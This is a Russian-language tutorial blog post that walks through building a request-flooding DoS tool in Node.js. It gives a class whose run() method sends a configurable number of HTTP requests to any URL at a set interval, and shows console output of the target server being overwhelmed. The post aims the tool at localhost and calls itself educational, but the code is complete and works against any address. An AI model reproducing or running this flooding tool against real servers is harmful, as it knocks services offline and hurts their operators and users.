DoS Атака на Node.js
t.me/we_use_js
DoS атака - это всего лишь большое количество запросов на сервер.
DDoS (Distributed Denial Of Service) - распределённая атака, то есть когда много устройств атакуют один сервер.
Мы будем реализовывать первый вариант, атакуя localhost.
Данная статья не пропагандирует создание вредоносного ПО, а написана лишь в образовательных целях.
Я использовал Node 11.10.1 и Request 2.88.
Сервер
Здесь мы не будем заморачиваться, возьмём встроенный http модуль:
const { createServer } = require('http')
createServer((req, res) => res.end('Hello World!')).listen(80)
Написание инструмента
Т.к. на дворе 2019, мы опишем нашу тулзу как класс. Чтобы не заморачиваться с http.get, мы возьмём библиотеку request для более простого написания кода.
const request = require('request'), { log } = console
module.exports = class {
...
Для удобства далее мы будем производить атаку через отдельный файл, поэтому я прописываю экспорт. Если вам не хочется создавать отдельный файл, тогда именуйте класс и пользуйтесь им внутри файла.
Далее в конструктор мы добавим свойства this.success и this.errors для отображения числа успешных и ошибочных запросов.
...
constructor () {
this.errors = 0
this.success = 0
}
...
Теперь самое интересное - метод run, который как раз производит атаку. run() будет работать таким образом: установка интервала (лучше всего 1 с, за меньше время запрос не успевает доходить), затем каждые несколько секунд у нас создаётся много запросов обычным for... циклом. Если выставить слишком маленький интервал, то запросы не успеют отправиться на сервер.
...
run(url = 'http://localhost', amount = 1000, interval = 1000) {
setInterval(() => {
for (let i = 0; i < amount; i++) {
request(url, err => err ? this.errors++ : this.success++)
}
log(`Errors: ${this.errors} Success: ${this.success}`)
this.errors = this.success = 0
}, interval)
}
}
Запуск DoS атаки
Остались две последние вещи - заюзать наш только что написанный класс, и запустить сервер.
const ddos = require('./ddos'), a = new ddos()
a.run()
// или a.run('http://localhost', 200, 500)
После запуска не будет никаких ответов на запрос, так как запрос не успевает выполниться, далее полезут ошибки:
Errors: 0 Success: 0 Errors: 0 Success: 0 Errors: 0 Success: 0 Errors: 255 Success: 0 Errors: 1663 Success: 0 Errors: 2046 Success: 0 Errors: 3068 Success: 0 Errors: 5114 Success: 0 Errors: 6009 Success: 0 Errors: 7032 Success: 0 Errors: 8054 Success: 0 Errors: 9768 Success: 0
Ведь мы забыли запустить сервер! После запуска число ошибок должно опуститься до нуля.
Errors: 0 Success: 1725 Errors: 0 Success: 1423 Errors: 0 Success: 577 Errors: 0 Success: 1981 Errors: 0 Success: 1385
В зависимости от интервала и количества запросов за данный интервал сервер рано или поздно рухнет и будет при заходе на сервер через браузер выведено что-то вроде 'Website port is unavailable, port is busy'.
Вот так просто мы задудосили локальный сервер со стороны другого сервера. Также можно DoSить на стороне клиента.